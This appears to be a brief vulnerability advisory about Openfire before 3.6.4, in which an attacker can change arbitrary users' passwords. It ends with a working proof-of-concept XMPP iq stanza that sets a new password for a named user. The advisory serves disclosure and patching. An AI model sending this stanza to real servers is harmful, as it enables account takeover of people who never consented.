source: http://www.securityfocus.com/bid/34804/info

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.

Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Versions prior to Openfire 3.6.4 are vulnerable.

<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>